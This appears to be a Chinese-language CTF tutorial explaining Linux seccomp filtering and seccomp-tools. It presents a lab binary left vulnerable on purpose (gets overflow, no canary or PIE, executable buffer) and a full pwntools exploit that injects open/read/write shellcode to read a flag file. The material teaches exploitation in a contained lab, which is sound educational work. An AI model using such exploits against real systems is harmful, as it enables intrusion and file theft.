Lab 網址
前言
今天我們將介紹一些簡單的知識,並在最後提供一個練習 Lab。看完前面的內容,大家可能會想:「如果我們可以調用 execve,那是否就能拿到 shell 呢?」這確實沒錯,但還有一種方法可以防止使用者調用 execve 系統呼叫 (syscall),這就是 seccomp 的機制。
Seccomp (secure computing mode)
seccomp 是 Linux 核心用來禁用特定系統呼叫的機制,透過 Seccomp BPF 可以設定對某些 syscall 的過濾規則。例如,可以限制 execve,甚至 open、read、write 等等。
但在實作這些規則後,逆向工程的過程可能變得不直觀且困難理解。為了簡化分析,one gadget 工具的作者還開發了一個工具,叫做 seccomp-tools,非常適合這類情況。
seccomp-tools
筆者提供的環境中已經安裝了該工具
這個工具能分析程式的 seccomp 規則,並將結果轉換成直觀的 if-else 形式的 pseudo code。這讓我們能輕鬆看出程式允許或限制了哪些 syscall,非常適合處理複雜的 seccomp 規則。
使用方式如下:
1seccomp-tools dump ./[binary]

Lab
查看以下原始碼:
1#include <stdio.h>
2#include <sys/mman.h>
3#include <unistd.h>
4#include "seccomp-bpf.h"
5
6void apply_seccomp() {
7 struct sock_filter filter[] = {
8 VALIDATE_ARCHITECTURE,
9 EXAMINE_SYSCALL,
10 ALLOW_SYSCALL(read),
11 ALLOW_SYSCALL(write),
12 ALLOW_SYSCALL(open),
13 KILL_PROCESS,
14 };
15
16 struct sock_fprog prog = {
17 .len = (unsigned short)(sizeof(filter) / sizeof(struct sock_filter)),
18 .filter = filter,
19 };
20
21 if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {
22 perror("Seccomp Error");
23 exit(1);
24 };
25 if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog)) {
26 perror("Seccomp Error");
27 exit(1);
28 };
29}
30char shellcode[0x100];
31int main() {
32 setvbuf(stdin, 0, 2, 0);
33 setvbuf(stdout, 0, 2, 0);
34 setvbuf(stderr, 0, 2, 0);
35 unsigned long addr = (unsigned long)&shellcode & ~0xfff;
36 mprotect((void *)addr, 0x1000, PROT_EXEC | PROT_READ | PROT_WRITE);
37 apply_seccomp();
38 printf("I add new rule to prevent you from using system().\n");
39 printf("Give me shellcode: ");
40 read(0, shellcode, 0x100);
41 printf("Overflow me: ");
42 char buffer[0x10];
43 gets(buffer);
44 printf("Bye!\n");
45 return 0;
46}
使用以下指令進行編譯:
1gcc src/orw.c -o ./orw/share/orw -fno-stack-protector -no-pie
writeup
可以發現程式將 shellcode 陣列的位置修改為可讀、可寫、可執行,並且在程式中允許使用者輸入 shellcode。程式中最關鍵的是 gets 的 buffer overflow 且沒有開啟 PIE 與 Canary,這讓我們能夠控制 return address。再者,程式使用了 Seccomp 規則,只允許 open、read、write 這三個 syscall,因此我們無法使用 execve 獲取 shell。此時我們可以透過 seccomp-tools 來確認。

換個角度思考,我們獲取 shell 的目的是為了拿到 flag。程式允許我們開啟檔案、讀取檔案並輸出內容,因此如果知道 flag 的位置,我們可以直接開檔讀取並輸出,如此即可拿到 flag。接下來我們需要確認幾件事:
- flag 檔案的位置
- 如何開啟、讀取、輸出檔案
- shellcode 的位置
首先,讓我們查看提供的檔案目錄:

從 Dockerfile 開始分析,會發現 Docker 創建了 ubuntu:22.04 的容器,並且設定了與網路服務相關的 xinetd。從目錄結構可以推測 flag 位於 /home/orw/flag。
1FROM ubuntu:22.04
2LABEL org.opencontainers.image.authors="YJK"
3RUN apt-get update
4RUN apt-get install xinetd -y
5RUN useradd -m orw
6RUN chown -R root:root /home/orw
7RUN chmod -R 755 /home/orw
8CMD ["/usr/sbin/xinetd", "-dontfork"]
以下是負責此題的 docker-compose.yml,可以看到 orw/share 被掛載到容器的 /home/orw,因此 flag 的位置應該是 /home/orw/flag。
orw:
build: ./orw
volumes:
- ./orw/share:/home/orw:ro
- ./orw/xinetd:/etc/xinetd.d/orw:ro
ports:
- "10010:10005"
接下來,我們可以透過 pwntools 的 shellcraft 來生成可以開啟 /home/orw/flag 並讀取其內容的 shellcode。
以下程式就會生成可以使用來開啟 /home/orw/flag 再讀檔並輸出到 stdin 的 shellcode,那基本上這段程式的執行大概會是先將 '/home/orw/flag' 字串放到 stack,並且再透過 open 將 rsp 的內容,也就是剛剛放入 stack 的檔案路徑打開,並且後面的兩個 0 是作為設定開檔模式與設定權限的部分,再來透過 read 將 rsp 指向的檔案讀取並儲存,rax 是用來讀取檔案,再來透過 write 將 rsp 剛剛讀取並存入的內容輸出,並且前面的 1 為設定為 stdin,在此時即可以看到檔案內容
1shellcode = b""
2
3shellcode += asm(shellcraft.pushstr('/home/orw/flag'))
4shellcode += asm(shellcraft.open('rsp', 0, 0))
5shellcode += asm(shellcraft.read('rax', 'rsp', 0x100))
6shellcode += asm(shellcraft.write(1, 'rsp', 0x100))
最後,我們需要確認溢出的 padding 和跳轉的地址。可以使用 nm 確定 shellcode 的地址。

使用 objdump 可以發現輸入從 rbp-0x20 開始,因此我們需要填充 0x20+0x8 的資料,然後跳轉到 shellcode。

完整 exploit:
1from pwn import *
2context.arch = 'amd64'
3# r = process('../orw/share/orw')
4r = remote('127.0.0.1', 10010)
5
6shellcode = b""
7
8shellcode += asm(shellcraft.pushstr('/home/orw/flag'))
9shellcode += asm(shellcraft.open('rsp', 0, 0))
10shellcode += asm(shellcraft.read('rax', 'rsp', 0x100))
11shellcode += asm(shellcraft.write(1, 'rsp', 0x100))
12
13r.sendlineafter(b': ', shellcode)
14payload = b'A' * (0x20 + 8) + p64(0x4040a0)
15r.sendlineafter(b': ', payload)
16r.recvuntil(b'!\n')
17r.interactive()
solved!!!
